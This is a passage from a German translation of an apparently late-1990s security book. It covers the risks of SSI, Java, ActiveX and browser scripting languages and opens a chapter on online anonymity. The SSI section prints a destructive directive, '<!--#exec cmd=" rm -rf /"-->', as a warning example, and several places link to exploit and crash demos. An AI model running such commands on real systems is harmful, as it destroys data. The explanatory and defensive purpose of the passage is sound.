Benutzereingabe ist, wie z.B. eine Besucherliste, sollte diese Datei nur für Sie lesbar sein und für
die Prozesse, die mit dieser Datei zu tun haben werden. (Schränken Sie z.B. die Prozesse darauf
Sprachen, Erweiterungen und Sicherheit
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ein, der Datei weitere Informationen anzuhängen).
Sorgen Sie dafür, daß der Dateiname keine Metazeichen enthält. Wenn die Datei dynamisch
erzeugt wird, sollten Sie eine Überprüfungsroutine integrieren, die solche Zeichen aussiebt.
Hinweis:
Sie sollten außerdem die UMASK für die erzeugten Dateien auf 022 setzen. Das hindert andere daran,
in diese Dateien zu schreiben.
28.2.5 Server Side Includes (SSI)
Server Side Includes können automatisch Dokumente oder andere Objekte in eine Webseite einfügen,
indem sie diese Elemente von der lokalen Festplatte aufrufen.
Dokumente können per SSI auf folgende Weise aufgerufen werden:
<!--#include file="mybanner.html"-->
Das scheint eine nützliche Funktion zu sein. Ein SSI könnte jedoch auch leicht folgendermaßen
aussehen:
<!--#exec cmd=" rm -rf /"--> (Lösche alle Dateien.)
Wenn dieses SSI geparst wird und Httpd als root läuft, wird Ihre gesamte Festplatte gelöscht.
Die meisten Web-Administratoren deaktivieren SSI. Wenn Ihr Server sie parst, seien Sie gewarnt. Sie
sollten beim Schreiben von CGI-Scripts eine Routine einbauen, die SSIs ausfiltert.
Hinweis:
Sie können das Parsen von cmd-Verzeichnissen bei NCSA und Apache deaktivieren, indem Sie die
folgende Zeile in Ihre access.conf einfügen:
Options IncludesNoExec
Warnung:
Dieser Rat gilt nicht nur für Unix-basierte Server. Viele Web-Server-Pakete unterstützen SSI, unter
anderem auch der NetWare Web Server. (Um SSI auf dem NetWare Web Server zu deaktivieren, ändern
Sie diese Option in dem Administrations-Tool.)
Hinweis:
Das Perl-ladbare Modul (Perl.NLM) hat in NetWare 4.1 und IntranetWare eine Sicherheitslücke.
Entfernte Angreifer können diese Lücke ausnutzen, um beliebigen Code auf Ihrem Server auszuführen.
Das ist ein ziemlich ernstes Sicherheitsloch. Mehr darüber erfahren Sie unter http://www.dhp.com/
~fyodor/sploits/netware.perl.nlm.html.
Sprachen, Erweiterungen und Sicherheit
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28.2.6 Java
Als Java herauskam, ging eine Welle der Aufregung durch das gesamte Internet. Die Programmierer
waren fasziniert von der Aussicht auf eine plattformunabhängige Sprache, und das zu Recht. Die
Entwicklung von Hybridanwendungen ist schwierig, fehleranfällig und teuer. Alles, was diese Probleme
lindern könnte, wird deshalb mit offenen Armen empfangen.
Vor diesem Hintergrund bedeutete Java einen wunderbaren Fortschritt. Außerdem war Java für die
Web-Entwicklung optimiert. Programmierer nutzten diese Funktionalität rasch zur Erstellung lebendiger
Multimedia-Anwendungen für die WebBrowser-Umgebung.
Es dauerte jedoch nicht lange, bis die neue Programmiersprache in Verdacht geriet, Sicherheitsgefahren
zu bergen. Nach und nach wurden mehrere schwere Sicherheitslücken bekannt. Im folgenden Abschnitt
will ich auf diese Lücken kurz eingehen.
Worum das ganze Theater?
Die welterschütternden Neuigkeiten über die Java-Sicherheit kamen aus dem Fachbereich Informatik der
Princeton University. Drew Dean, Edward W. Felten und Dan S. Wallach leiteten die Untersuchungen.
Der Kopf der Gruppe, Felten, war seit 1993 Informatik-Dozent an der Princeton University und hatte
1994 die Forschungsauszeichnung National Young Investigator erhalten. Er arbeitete mit den beiden
Informatik-Absolventen Dean und Wallach daran, Sicherheitslöcher in Java zu finden.
Das Felten-Team identifizierte die folgenden Probleme:
Denial-of-Service-Attacken konnten auf zweierlei Art ausgeführt werden. Die erste Methode war,
bestimmte interne Bestandteile der Netscape- und HotJava-Browser zu blokkieren und dadurch
weitere Host-Abfragen über DNS zu verhindern. Die zweite Methode erzwang eine übermäßige
Auslastung von CPU und RAM, so daß der Browser zum Erliegen kam. Außerdem konnte der
Ursprung der Attacke verschleiert werden, da der bösartige Code Minuten oder sogar Stunden
später ausgeführt werden konnte. So konnte ein Benutzer theoretisch die betreffende Seite um
11.00 Uhr vormittags aufsuchen, aber die Auswirkungen würden sich erst am späten Nachmittag
zeigen.
Die Proxies der Browser konnten zum Absturz gebracht werden, und der DNS-Server des Systems
konnte mit Hilfe eines bösartigen Java-Applets beliebig bestimmt werden. Das heißt, daß die
DNS-Abfragen des Opfers zu einem nicht vertrauenswürdigen DNS-Server umgeleitet werden
konnten, der falsche Informationen über Hostnamen liefern würde. Das konnte zu einer
Offenlegung des Root-Account führen (wenn der Operator des angegriffenen Rechners dumm
genug war, als root im Web zu surfen).
Mindestens ein Java-fähiger Browser konnte in ein Windows-Dateisystem schreiben. Bei allen
Versionen konnte Java Umgebungsvariablen herausziehen, Benutzerdaten ausspionieren und
Informationen darüber sammeln, welche Seiten ein Benutzer besucht hatte. Außerdem hatte Java
auch mehrere Pufferüberlauf-Probleme.
Die Reaktionen der Öffentlichkeit waren natürlich sehr negativ. Die Sache wurde noch dadurch
verschlimmert, daß, selbst nachdem Sun und Netscape einen Fix herausgebracht hatten, viele der
ursprünglichen Probleme immer noch vorhanden und durch andere Angriffsarten ausnutzbar waren.
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Wegweiser:
Das Dokument des Felten-Teams heißt »Java Security: From HotJava to Netscape and Beyond«. Sie
finden es unter http://www.cs.princeton.edu/ sip/pub/secure96.html.
Von da an wurde Java sehr sorgfältigen Prüfungen unterzogen, und mehrere weitere Probleme wurden
identifiziert.
Zum Beispiel gelangte Java ungehindert durch Firewalls. Daher wurde die Theorie aufgestellt, daß
bösartige Applets die Firewall-Sicherheit untergraben könnten. Die Java-Befürworter hielten entrüstet
dagegen, daß ein solcher Angriff nicht möglich sei. Beide Seiten wurden jedoch durch ein Dokument mit
dem Titel »Blocking Java Applets at the Firewall« zum Schweigen gebracht.
Die Autoren demonstrierten darin nämlich eine Methode, mit der ein Java-Applet eine Firewall dazu
bringen konnte, beliebige, normalerweise eingeschränkte Ports für den Host des Applets zu öffnen. Mit
anderen Worten konnte ein solches Applet den grundlegenden Zweck und die Funktion einer Firewall
komplett umgehen.
Wegweiser:
»Blocking Java Applets at the Firewall« von David M. Martin jr., Sivaramakrishnan Rajagopalan und
Aviel D. Rubin finden Sie im Web unter http:// www.cs.bu.edu/techreports/96-026-java-firewalls.ps.Z.
Hier sind ein paar neuere Sicherheitslöcher, die für Sie interessant sein dürften:
IE4 und Active Desktop. Ein Java-Applet, das IE4 mit dem Active Desktop gefährden kann, hat
weite Verbreitung gefunden. Das Applet kann auf den Desktop oder andere Fenster schreiben. (Es
kann auch eine DoS-Attacke verursachen, indem es die Prozessorauslastung auf 90% treibt.) Den
Quellcode und eine Erklärung finden Sie hier: http:// www.focus-asia.com/home/tjc/ghosting/.
Java kann bei Windows 95 einen Reboot erzwingen. Es ist ein Applet in Umlauf, das einen
Windows-95-Rechner zum Absturz bringen kann. Das funktioniert beim Netscape Communicator
4.x.
Warnung:
Wenn Sie die Online-Demo ausprobieren wollen, sollten Sie unbedingt vorher Ihre Arbeit sichern. Ihr
Rechner wird nämlich abstürzen.
Den Quellcode finden Sie hier: http://geek-girl.com/bugtraq/1998_1/0091.html; die Online-Demo ist
hier: http://home1.swipnet.se/~w-10867/fork/fl00d.htm.
CLASSPATH-Attacken. Vor kurzem hat man entdeckt, daß, wenn Klassen an den CLASSPATH
angefügt werden können, Login-Informationen an einen nicht vertrauenswürdigen Server
umgeleitet werden können - sogar wenn auf dem vorgesehenen (und vertrauenswürdigen)
Zielserver SSL läuft. Weitere Informationen finden Sie hier: http://geek-
girl.com/bugtraq/1997_4/0055. html.
Applets können sich selbst signieren. JDK 1.1.1 erlaubt die Ausführung von vertrauenswürdigen,
digital signierten Applets. An der Princeton-Universität haben Forscher jedoch herausgefunden,
daß ein Applet eine Liste vertrauenswürdiger Benutzer erzeugen kann. Aus dieser Liste kann es
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sich dann einen aussuchen und sich selbst als von diesem Benutzer signiert kennzeichnen. Weitere
Einzelheiten dazu finden Sie hier: http:// www.cs.princeton.edu/sip/news/april29.html.
Privatsphären-Verletzung bei Netscape 4.x. Java und JavaScript können sich die nächste Seite
greifen, die Sie besuchen. Wenn Sie dort Daten in ein Formular eingeben, werden diese Daten
abgefangen und an einen anderen Server weitergeleitet. Sie können es auf dieser Seite selbst
ausprobieren: http://www.iti.gov.sg/iti_people/iti_staff/kcchiang/bug/ .
Java kann die IPs von Hosts hinter einer Firewall herausfinden. Bei Netscape 3 und 4 (und IE
3 und 3.01) kann Java die IP-Adresse und den Hostnamen Ihres Rechners herausbekommen. (Das
ist ein Problem, da IP-Adressen hinter einer Firewall abgeschirmt sein sollten.) Einzelheiten
darüber finden Sie hier: http://www.alcrypto.co.uk/java/.
Hinweis:
Diese Sicherheitslöcher sind alle relativ neu, und die meisten gelten für neuere
Java-Implementierungen. Sie sollten jedoch wissen, daß Sie durch mehrere Dutzend Attacken verletzbar
sein können, wenn Sie ältere Java-Implementierungen verwenden.
Nun aber zu den positiven Seiten von Java. Es verfügt nämlich auch über mehrere
Sicherheitsmechanismen, die ein Lob verdienen.
Das Sicherheitsmodell von Java beruht größtenteils auf etwas, das der Java-Sandkasten (sandbox)
genannt wird. Das ist ein Bereich, der für die Ausführung von nicht vertrauenswürdigem Code reserviert
ist. Jeder Code wird innerhalb des Sandkastens in einem Web- Browser ausgeführt, und eine Klasse mit
Namen SecurityManager erzwingt dort die Einhaltung strikter Sicherheitsrichtlinien.
Der SecurityManager kontrolliert den Zugriff auf alle Systemressourcen, darunter folgende:
Dateien
Verzeichnisse
Sockets
Threads
Theoretisch hat der Code keine Möglichkeit, aus dem Sandkasten herauszukommen (oder die
SecurityManager-Einschränkungen zu umgehen), und deshalb können in Browsern ausgeführte Applets
nicht auf Systemressourcen zugreifen. Dieses Sicherheitsmodell ist sehr viel sicherer als das von
Microsofts ActiveX verwendete Modell.
Warnung:
Obwohl der Sandkasten eine gute grundlegende Sicherheit bietet, sind einige Fortschritte bei dem
Versuch gemacht worden, den SecurityManager zu umgehen. Sie konnten zwar bei früheren
Netzwerk-Versionen z.B. nicht direkt aus dem Sandkasten ausbrechen, aber dennoch war es möglich,
SecurityManager zu umgehen, indem man die Klasse als leer reinitialisierte. Einige interessante
Informationen zu dieser Technik finden Sie unter http:// www.cs.utah.edu/~gback/netscape/bypass.html.
Über das Schema von Sandkasten und SecurityManager hinaus bietet Java eine erweiterte
Zugriffskontrolle auf Benutzer-, Datei-, Verzeichnis- und Socket-Ebene. In Tabelle 28.2 sind diese
Sicherheitsklassen aufgeführt.
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Tabelle 28.2: Java-Sicherheitsklassen für Berechtigungen
Klasse Zweck
java.security.Permission Der Großvater aller Berechtigungen. (Alle folgenden Klassen
sind Unterklassen dieser Klasse.)
java.io.FilePermission Manipuliert Datei- und Verzeichnisberechtigungen. Sie können
alle herkömmlichen Berechtigungen spezifizieren, wie Lesen,
Schreiben, Ausführen, Löschen usw.
java.net.SocketPermission Ermöglicht Ihnen, den Zugriff auf einen Socket zu spezifizieren.
Sie können diesen Zugriff beschränken, indem Sie die
Möglichkeit zum Akzeptieren, Verbinden, Lauschen oder
Auflösen gewähren oder verweigern.
Die Sicherheit von Java ist durch die Einführung von Verschlüsselungsroutinen sogar noch weiter
verbessert worden. Java unterstützt nun alle folgenden Algorithmen:
RSA
MD5
DES
Die Klasse java.security.Signature stellt die Funktionalität digitaler Signaturen durch Verwendung eines
beliebigen dieser drei Algorithmen zur Verfügung. Mehr über diese Funktionalität erfahren Sie in Java
Cryptography Architecture API Specification and Reference , das Sie hier finden:
http://java.sun.com/products/jdk/1.1/docs/guide/security/CryptoSpec.html
Sie fragen sich jetzt vielleicht, ob Java denn nun sicher ist oder nicht. Das Fazit lautet: Java hat eine
unendlich höhere Sicherheit als ActiveX. Darüber hinaus hat Sun sich enorm bemüht, einige sehr
fortschrittliche Sicherheitsmerkmale in Java zu integrieren. Ich halte Java für sicherer als Perl.
Dennoch empfehle ich Ihnen, Java an der Firewall zu filtern, und zwar aus folgendem Grund: Wir haben
die Cracker-Gemeinde bislang noch nicht wirklich mit Java arbeiten sehen. Das kann deshalb so sein,
weil Java schwieriger zu lernen ist als C oder Perl, die traditionellen Lieblingssprachen von Crackern.
Außerdem - und das ist ein ganz wichtiger Punkt - sind Java-Attacken normalerweise Serverbasiert. Es
ist kein Problem, Java-Attacken zu erzeugen und sie zu Forschungszwecken zu testen. Im wirklichen
Leben würden Angriffe von einem Server jedoch schnell entdeckt werden, und der Eigentümer würde
sich in einer schwierigen Lage befinden.
Das kann sich jedoch ändern. Java ist von seinem Wesen her so auf die Netzwerkprogrammierung
ausgerichtet, daß wir schließlich Angriffe erleben könnten, die über Standardleitungen implementiert
werden (d.h. ohne daß ein Server involviert wäre).
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28.3 ActiveX
Keine Sprache oder Erweiterung bietet mehr Server-zu-Client-Funktionalität als die
ActiveX-Technologie von Microsoft (solange die Client-Umgebung Microsoft-zentriert ist). Mit ActiveX
entwickelte Webseiten bieten oft eine phänomenale Funktionalität, die in eine benutzerfreundliche
Oberfläche eingepackt ist. Eigentlich schade drum, denn man kann mit Recht behaupten, daß ActiveX
die größte Sicherheitsbedrohung des Internet darstellt, die es jemals gegeben hat.
Ein 1997 von Ellen Messmer von Network World verfaßter Artikel faßt alles zusammen, was Sie über die
Sicherheit von ActiveX wissen müssen:
Wie viele Unternehmen, verläßt sich auch Lockheed Martin auf die Technologien von
Microsoft. Aber wenn es um das firmeneigene Intranet geht, sieht man dennoch davon ab,
ActiveX einzusetzen, einen Eckpfeiler der Web-Technologien Microsofts. Der Grund?
ActiveX kann Virusschreibern und Hackern einen perfekten Zutritt zum Netzwerk
verschaffen. »Sie können ein ActiveX-Applet herunterladen, das ein Virus ist, der größeren
Schaden anrichten könnte«, erläutert Bill Andiario, technischer Leiter für Web-Initiativen
bei Lockheed Martin Enterprise Information Systems, dem Geschäftsbereich
Informationssysteme der Firma. »Oder es könnte sich Ihre geschützten Informationen
greifen und an einen Konkurrenten weiterleiten, oder noch schlimmer, in ein anderes
Land.«
Diese Ängste von Unternehmen sind durchaus berechtigt. Fragen Sie einmal den Chaos Computer Club,
eine Gruppe von Hackern in Hamburg. Der CCC hat im Februar 1997 der ganzen Welt die
Sicherheitsmängel von ActiveX demonstriert:
Im deutschen Fernsehen hat [der CCC] ein ActiveX-Steuerelement demonstriert, das in der
Lage ist, sich Geld von einem Bankkonto zu schnappen und einem anderen gutzuschreiben,
und all das ohne die Verwendung der PIN-Nummer, die eigentlich dafür vorgesehen ist,
solche Diebstähle zu verhindern.
Wegweiser:
Der obige Text stammt ursprünglich aus einem Artikel mit Namen »ActiveX Used as Hacking Tool«. Er
stammt von Nick Wingfield (CNET) und Sie finden ihn unter folgender Adresse:
http://www.news.com/News/Item/ 0,4,7761,4000.html.
Spätestens seit diesem Vorfall sprach sich herum, daß ActiveX absolut unsicher ist. Firewall-
Administratoren verlangten sofort nach Tools, die ActiveX ausfiltern können.
Wegweiser:
Die Chronologie der CCC-Eskapade finden Sie unter
http://www.iks-jena.de/mitarb/lutz/security/activex.html .
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28.3.1 Was ist das Problem von ActiveX?
Das Problem von ActiveX wurde von den Leuten bei JavaSoft prägnant zusammengefaßt:
ActiveX... ermöglicht die Ausführung von beliebigem Binärcode. Eine bösartige
ActiveX-Komponente kann geschrieben werden, um Dateien auf der lokalen Festplatte eines
Benutzers zu verändern oder zu löschen, oder um Verbindungen mit anderen Computern
herzustellen, ohne daß der Benutzer dies merkt oder dem zustimmt. Außerdem besteht immer
das Risiko, daß eine an sich harmlose ActiveX- Komponente mit einem Virus behaftet sein
könnte. Leider können Viren genauso leicht verschlüsselt werden wie gewöhnlicher Code.
Das ist ein kritisches Problem, und zwar aus folgenden Gründen:
Die wenigsten Microsoft-Anwender verwenden Windows NT.
Eine beträchtliche Anzahl von Windows-NT-Benutzern verwendet NTFS nicht.
Die nicht auf NTFS beruhenden Microsoft-Umgebungen haben kein richtiges Dateiberechtigungsschema
oder eine wahlweise Zugriffskontrolle. (Das ist bei allen Novell-NetWare- und Unix-Umgebungen
anders.) Daher kann ein bösartiges ActiveX-Steuerelement nicht nur den Verzeichnisraum eines
einzelnen Benutzers beschädigen, sondern ein gesamtes Netzwerk.
Microsofts Reaktion auf den CCC-Vorfall war unbefriedigend. Man behauptete, diese Sache hätte nur
eines bewiesen: daß Sie keinen unsignierten Code akzeptieren sollten. Es ist jedoch aufgrund seiner
zugrundeliegenden Technologie fraglich, ob ActiveX jemals so eingeschränkt wird, daß es nicht mehr
auf Ihre Festplatte zugreifen kann. Im Grunde ist ActiveX nämlich nichts anderes als ein
weiterentwickeltes OLE.
OLE (Object Linking and Embedding) ist eine Technologie, die mit zusammengesetzten Dokumenten
arbeitet, d.h. Dokumenten, die verschiedene Arten von Daten enthalten. Vor OLE wurden Datenelemente
verfälscht, wenn sie aus ihrer Ursprungsanwendung entnommen und in eine andere eingefügt wurden.
(Sie paßten sich der Umgebung der Host-Anwendung an.) Zum Beispiel wurden beim Einfügen eines
Spreadsheets in eine Textverarbeitung die Daten durcheinandergebracht. Bei OLE behalten diese Objekte
(eingebettete Objekte genannt) ihren ursprünglichen Zustand.
Jedesmal, wenn Sie ein eingebettetes Objekt bearbeiten, wird die ursprüngliche Anwendung aufgerufen,
so daß die Bearbeitung in der Ursprungsumgebung des Elements vorgenommen werden kann. Zum
Beispiel wird Excel aufgerufen, wenn Sie ein Excel-Arbeitsblatt bearbeiten wollen, das in ein
Word-Dokument eingebettet ist. (Im Gegensatz zu DDE ist dieser Austausch zwischen der aktuellen und
der ursprünglichen Anwendung für Benutzer dabei nicht sichtbar.)
Die Sicherheitsprobleme sind offensichtlich. Wenn ein ActiveX-Steuerelement sich als ein Element
ausgeben kann, daß von einer bestimmten Anwendung erzeugt worden ist, kann es den Start einer
Instanz dieser Anwendung auslösen. Nachdem die Anwendung gestartet wurde, kann sie von der
ActiveX-Komponente »ferngesteuert« werden. Das passiert transparent, d.h. für den Benutzer nicht
sichtbar. Man kann folgendes Fazit ziehen: Lassen Sie kein ActiveX durch Ihre Firewall oder Ihren
signierten oder unsignierten Code. (Sie können, wenn Sie wollen - obwohl ich Ihnen dringend davon
abraten würde - der Person vertrauen, die den Code signiert hat.)
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28.4 Script-Sprachen
Schließlich gibt es noch die Script-Sprachen. Script-Sprachen werden ausschließlich in
Web-Browser-Umgebungen verwendet. Es gibt zwei von Belang:
JavaScript
VBScript
Wir wollen uns beide kurz ansehen.
28.4.1 JavaScript
JavaScript wurde von der Netscape Communications Corporation für die
Netscape-Navigator/Communicator-Umgebung entwickelt (und in geringerem Maße für andere Browser,
die es unterstützen).
JavaScript ist keine Compiler-Sprache, verwendet keine Klassen-Bibliotheken und wird im allgemeinen
in HTML eingebettet (obwohl Server-seitiges JavaScript sich auch in *.JS- Quelldateien befinden kann).
Eigenständige Anwendungen können mit JavaScript nicht entwickelt werden, aber man kann sehr
komplexe Programme schreiben, die innerhalb der Netscape-Navigator-Umgebung laufen können.
Bei den frühen Versionen von JavaScript und Navigator gab es einige ernste Sicherheitsprobleme. Ein
Entwickler fand sogar heraus, wie man JavaScript verwenden konnte, um auf die Festplatte eines
Benutzers zu schreiben. Die meisten dieser Probleme gab es in Navigator 2.0 (JavaScript 1.1) und
früheren Versionen, und sie sind nicht mehr von Bedeutung.
Die Sicherheitsprobleme von JavaScript waren in der Vergangenheit relativ unbedeutend. Zum Beispiel
konnte folgendes passieren:
Böswillige Webmaster konnten verfolgen, welche Seiten Sie im Internet aufsuchten.
Böswillige Webmaster konnten Denial-of-Service-Attacken hervorrufen.
Formulareingaben konnten abgefangen werden.
Leider wurde die Funktionalität von JavaScript stark erweitert. (JavaScript ist inzwischen eine
umfangreiche, mächtige Sprache.) In den letzten Monaten sind einige ernste und weniger ernste
Sicherheitsprobleme zum Vorschein gekommen. Einige davon sind:
LiveWire-Applikationen (serverseitiges JavaScript). Ein böswilliger Benutzer kann Ihre
LiveWire-Anwendungen herunterladen, indem er die Zeichenfolge .Web an die URL anhängt.
Wenn Sie LiveWire-Datenbankanwendungen haben, ist dies eine ernste Sicherheitslücke.
Benutzernamen und Paßwörter von LiveWire-Datenbanken werden nicht verschlüsselt und
erscheinen im Quellcode. Böswillige Benutzer können daher an die Benutzername/Paßwort-Paare
gelangen. (Versuchen Sie mal herauszufinden, wer das war! Log-Dateien sind nicht sehr hilfreich;
Sie hätten Tausende Verdächtige.)
Neue Bugs zur Verletzung der Privatsphäre. Böswillige Webmaster können nun Ihre
Benutzername/Paßwort-Paare für FTP-, POP3-, Imap- und andere Server abfangen. Weitere
Informationen zu diesem Loch finden Sie hier: http://geek-girl.com/bugtraq/ 1998_1/0218.html.
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Verschiedene Denial-of-Service-Attacken gegen den Communicator. Netscape Communicator
4.x und Internet Explorer 4.0 sind durch mehrere JavaScript-DoS-Attacken verletzbar. Um eine
richtig seltsame zu testen (und zu sehen, wie Ihr Browser total verrückt spielt), sehen Sie einmal
hier nach: http://geek-girl.com/bugtraq/1998_1/ 0489.html. Wenn Sie gerne demonstriert
bekommen möchten, wie der Communicator mit JavaScript zum Absturz gebracht werden kann,
gehen Sie zu dieser Seite: www.dhp.com/ ~panzer/evil.html.
Denial-of-Service-Attacken gegen IE 4.01. Der Internet Explorer 4.01 ist durch mehrere
JavaScript-Attacken verwundbar. Sie können IE zum Absturz bringen, den Verlust aller
Einstellungen des Active Desktop verursachen, Stack-Fehler hervorrufen und sogar Ihren
Festplattenzugriff und die Prozessorauslastung auf 100% hochjagen. Mehr Informationen darüber
finden Sie hier: http://www.support.nl/~tommy/lists/ntbugtraq/0196.html.
28.4.2 VBScript
VBScript ist für den Internet Explorer das, was JavaScript für den Netscape Communicator ist. Der
einzige größere Unterschied ist folgender: VBScript ist eine Untermenge einer vollständigen
Programmiersprache, die normalerweise zur Erzeugung eigenständiger Anwendungen verwendet wird.
VBScript ist im wesentlichen eine abgespeckte Version von Microsoft Visual Basic.
Im allgemeinen bietet VBScript dieselbe (oder noch größere) Funktionalität wie JavaScript. Es ist zum
Beispiel möglich, VBScript dazu zu verwenden, eine endlose Anzahl von Fenstern zu öffnen, den
Browser zu blockieren oder Formulardaten abzufangen. Bei der Mehrzahl der bislang realisierten
Angriffe wurde jedoch JavaScript verwendet.
28.4.3 Abwehr von Gefahren durch Script-Sprachen
Skript-Sprachen stellen nur eine Gefahr dar, wenn Sie es zulassen. Wenn Ihre Netzwerkumgebung
strenge Sicherheit erfordert, empfehle ich Ihnen, sowohl JavaScript als auch VBScript am Router zu
filtern. Alternativ dazu können Sie auch einfach die Ausführung ihrer Anweisungen in Ihrem Browser
deaktivieren. Eine dieser beiden Möglichkeiten sollten Sie jedoch unbedingt wählen - nur weil Sie den
Skript-Quelltext in HTML sehen können, heißt das noch lange nicht, daß ein Skript schläft, bis Sie ihm
ein Ereignis anbieten (wie das Klicken auf einen Button oder eine Grafik). Die meisten bösartigen
Skripts werden schon beim Laden ausgeführt. Wenn Sie also einem wirklich bösartigen Skript begegnen,
ist es auf jeden Fall schon zu spät für irgendwelche Abwehrmaßnahmen.
28.5 Zusammenfassung
Mit wachsender Funktionalität des Web werden immer mehr Sprachen und Erweiterungen entwickelt
werden. In mancher Hinsicht ist das eine wunderbare Sache. Schließlich strebt man das Ziel an,
transparenten Zugriff zu allen Netzwerk- und Dateiressourcen auf der ganzen Welt zu haben. Das
Problem dabei ist, daß es immer schwieriger wird, für wirkliche Sicherheit zu sorgen.
Der harte Wettbewerb auf dem Markt hat zudem dazu geführt, daß die Überprüfung der Qualität der
Produkte im Hinblick auf die Sicherheit vernachlässigt wurde. Das ist bislang nicht so schlimm gewesen,
da noch niemand wirklich zu Schaden gekommen ist. Aber denken Sie z.B. einmal an das
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Online-Banking, das immer mehr genutzt wird. Vor kurzem wurde berichtet, daß eine Bank in
Schottland ActiveX verwendet. Würden Sie, nachdem Sie dieses Kapitel gelesen haben, dort noch ein
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29
Anonymität wahren
In den vorangegangenen Kapiteln haben Sie viel über ausgeklügelte Tools zum Schutz Ihrer Daten erfahren. Die
Liste ist fast unendlich: digitale Signaturen, Paketfilter, starke Verschlüsselung, Firewalls, Viren-Utilities, virtuelle
Privatnetzwerke und ein Dutzend anderer Tools. Jedes davon kann ein bißchen zu Ihrer Zuversicht beitragen, daß
Ihr Netzwerk sicher ist. Was ist aber mit den grundlegenderen Fragen? Welche Schritte können Sie z.B.
unternehmen, um Ihre Privatsphäre zu schützen, wenn Sie online sind? Das möchte ich Ihnen in diesem letzten
Kapitel gerne erläutern.
29.1 Ebenen der Preisgabe
Wenn Sie nichts dagegen unternehmen, geben Sie Ihre Identität schließlich preis, wenn Sie im Internet surfen. Die
Art und Aussagekraft der preisgegebenen Informationen hängen von vielen Faktoren ab. Das sind z.B.:
Ihre Netzwerkverbindung
Ihr Browser
Ihr öffentlicher Traffic
Welche Plug-Ins und Anwendungen Sie unterstützen
Diese Variablen setzen Sie zwei unterschiedlichen Arten von Spionage aus:
Menschlicher Spionage
Netzwerk-Spionage
Sehen wir uns beide einmal an.
29.1.1 Menschliche Spionage
Menschen spionieren Sie aus. Durch dieses Spionieren können sie Ihre Identität feststellen, Ihre Aktivitäten
verfolgen oder Sie sogar bei einer kriminellen Handlung erwischen. Von allen Formen der Spionage ist die
menschliche die älteste. (Spione behaupten sogar oft, es sei der älteste Beruf der Welt.)
Es gibt zwei Arten menschlicher Spionage:
Bei der indirekten Spionage besteht das Hauptziel darin, Informationen zu sammeln, ohne notwendigerweise
einen direkten Kontakt aufzunehmen.
Anonymität wahren
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Bei der direkten Spionage besteht das Hauptziel darin, direkten Kontakt aufzunehmen, Ihr Vertrauen zu
gewinnen und kontinuierlich an Informationen zu gelangen.
Das Internet bietet ausgezeichnete Möglichkeiten für die indirekte Spionage. Nehmen wir z.B. Ihre Beiträge im
Usenet. Sie stehen öffentlich zur Verfügung, jedermann kann sie einsehen. Jemand könnte Ihre Beiträge genau
verfolgen und so eine Menge über Sie in Erfahrung bringen. Natürlich stellt dies eine einmalige Gelegenheit für
Ordnungsmächte dar. Durch eine einfache Suche mit Hilfe von Suchmaschinen können sie eine indirekte Spionage
praktisch mit einem Handschlag durchführen.
Vor 25 Jahren herrschte noch ein ganz anderes Klima. Um Ihnen den Unterschied zu verdeutlichen, möchte ich
Ihnen etwas aus den frühen 70er Jahren erzählen. In Amerika waren die 70er eine Zeit des politischen Aufruhrs.
Viele radikale Organisationen bildeten sich, und einige befürworteten einen mit Gewalt herbeigeführten Sturz der
Regierung. Die amerikanischen Geheimdienste reagierten darauf mit der Durchführung von indirekten und direkten
Operationen im großen Ausmaß.
Diese Operationen wurden von Menschen durchgeführt. Um z.B. die Anhänger der Students for a Democratic
Society zu identifizieren, sandte das FBI die Agenten zu Fuß aus. (Diese Agenten waren entweder beim FBI
angestellt oder waren zivile Informanten, das spielte eigentlich keine Rolle.) Solche Agenten mischten sich unter
die Menge, notierten sich bei Kundgebungen Kennzeichen oder sammelten Namen. Später ordneten die Agenten
diesen Namen Gesichter, Fingerabdrücke und Adressen zu, indem sie die Kennzeichen überprüften, im Strafregister
nachsahen oder weitere Informanten befragten.
Diese Methoden sind heute nicht mehr nötig. Statt dessen ermöglicht es das Internet den Geheimdiensten, die
Stimmung der Bevölkerung bequem von ihrem Büro aus zu überwachen. Dazu bedarf es noch nicht einmal einer
Gesetzesübertretung. Man braucht keinen Durchsuchungsbefehl, um die Aktivitäten einer Person im Internet zu
verfolgen. Genausowenig benötigt man irgendeine Befugnis, um Listen von Leuten zusammenzustellen, die in
illegale oder umstürzlerische Aktivitäten verwickelt sein könnten.
Wenn Sie radikale politische Ansichten haben, sollten Sie diese besser für sich behalten. (Entweder das, oder
machen Sie sich auf dem Gebiet der Verschlüsselung schlau.) Die heutigen Suchmaschinen können verwendet
werden, um den gesamten Usenet-Verkehr in bestimmte Kategorien von Personen aufzuteilen. Sie können Ihre
letzte Mark darauf verwetten, daß Linda Thompson (eine umstrittene Anwältin aus Indiana und Anhängerin der
amerikanischen Militia) streng vom FBI überwacht wurde. (Thompson schlug einmal vor, daß bewaffnete
Mitglieder der Militia in Washington einmarschieren sollten).
Seien Sie also gewarnt: Das Usenet ist kein Forum, in dem Sie Ihre Redefreiheit ausüben sollten. Es ist ein Ort, an
dem Sie der ganzen Welt ungeschützt ausgesetzt sind.
Das Usenet ist nur der Anfang. Sechs von zehn Web-Sites, die Sie besuchen, protokollieren Ihre Aktivitäten.
(Vielleicht acht von zehn großen kommerziellen Sites versuchen dies.) Damit wollen wir auch beginnen - mit der
harmlosesten und passivsten aller Internet-Aktivitäten: dem Surfen im Web.
29.2 Browsen im Web und die Gefährdung
der Privatsphäre
Bevor es Web-Browser gab, konnten Sie nur über eine Befehlszeilen-Schnittstelle auf das Internet zugreifen. Dieses
Interface war rudimentär und schreckte die meisten Leute ab. Mit Aufkommen der Browser änderte sich alles, und
das Internet wurde zu einem Zeigen-und- Klicken-Paradies; jeder, der eine Maus besaß, konnte ganz einfach im
Web navigieren. Die Auswirkungen waren phänomenal. Praktisch über Nacht strömten Millionen neue Benutzer ins
Web.
Als die Menschen sich in so großer Zahl dem Web zuwandten, wurden die Marketing-Agenturen aufmerksam.
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Sofort stellte sich die Frage: Wie können wir das Internet benutzen, um Geld damit zu machen? Die Unternehmen
brachten verschiedene Antworten hervor, eine davon ist der elektronische Handel (E-Commerce), bei dem die
Verbraucher Produkte oder Dienstleistungen von zu Hause aus über das Web bestellen können.
Von Beginn an war man sehr erpicht darauf, Methoden zu entwickeln, mit denen man nicht nur die Einkäufe der
Verbraucher verfolgen konnte, sondern auch die Verbraucherinteressen. Heute gibt es mehr als ein Dutzend
geeigneter Methoden zu diesem Zweck. Auf den folgenden Seiten erfahren Sie, wie Ihre Identität aufgespürt wird,
Bit für Bit, von bekannten und unbekannten Personen.
29.2.1 Internet-Architektur und Privatsphäre
